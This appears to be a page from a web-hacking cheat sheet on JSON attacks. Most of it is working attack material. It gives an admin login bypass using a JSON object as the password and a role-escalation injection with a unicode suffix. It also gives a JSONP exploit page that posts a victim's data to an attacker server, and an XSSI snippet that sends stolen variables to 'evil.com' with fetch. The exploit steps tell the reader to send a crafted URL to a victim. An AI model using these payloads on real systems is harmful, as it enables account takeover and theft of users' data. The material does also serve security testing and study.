JSON Attack

POST /api/login HTTP/1.1
Host: vuln-web.io
[...]

{"username":"admin","password":{"password": 1}}

Add Parameter

JSON Injection

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
   "user": "dana", 
   "role": "administrator"
}

HTTP/1.1 401 Not Authorized
...
Content-Type: application/json

{"Error": "Assignment of internal role 'administrator' is forbidden"}

Add \ud888

POST /user/create HTTP/1.1
...
Content-Type: application/json
{
   "user": "dana", 
   "role": "administrator\ud888"
}

HTTP/1.1 200 OK
...
Content-Type: application/json

{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}

JSON Padding, JSONP

Detection

Add a callback parameter to a JSON URL, by appending ?callback=something to the URL.
When a format type is provided, change it to JSONP. Change ?format=json to ?format=jsonp.

Exploit

Json file

Add a query parameter of callback like this

https://user.redact.com/payment/wallet/balance?callback=call_me

If the endpoint has JSONP enabled it will create an object with the name of call_me and all the data will be inside that object like this.

Exploitation: create a .html file which will extract the data and store it on your desired server. You just have to send the URL to the victim

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="referrer" content="no-referrer">
    <title>Test JSON Padding Attack</title>
</head>
<body>

<script>
function call_me(response) {
    var http = new XMLHttpRequest();
    var url = 'https://yourserver.com/store.php';
    var params = 'data=' + encodeURIComponent(JSON.stringify(response));

    http.open('POST', url, true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

    http.onreadystatechange = function() {
        if (http.readyState == 4 && http.status == 200) {
            console.log(http.responseText);
        }
    }
    http.send(params);
}
</script>

<script src="https://user.redact.com/api/user/profile?callback=call_me"></script>

</body>
</html>

XSSI an JSONP

On your own server

<html>
  <head>
    <title>Regular XSSI</title>
    <script src="https://www.vulnerable-domain.tld/script.js"></script>
  </head>
  <body>
    <script>
      alert(JSON.stringify(keys[0]));
    </script>
  </body>
</html>

Exfiltration

<script src="https://target.com/vuln.js">
</script>
<script defer>
// var_name is a variable in vuln.js holding sensitive information
console.log(var_name);
// sending information to an attacker controlled server
fetch("https://evil.com/stealInfo?info="+var_name);
</script>

JSON Globbing

Node.js

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

PreviousCRLF Injection NextPrototype Pollution

Last updated 16 days ago

Bypass Admin Login

Add Parameter

JSON Injection

JSON Padding, JSONP

Detection

Exploit

XSSI an JSONP

JSON Globbing

Node.js

Interesting Books

Bypass Admin Login

Add Parameter

JSON Injection

JSON Padding, JSONP

Detection

Exploit

XSSI an JSONP

JSON Globbing

Node.js

Interesting Books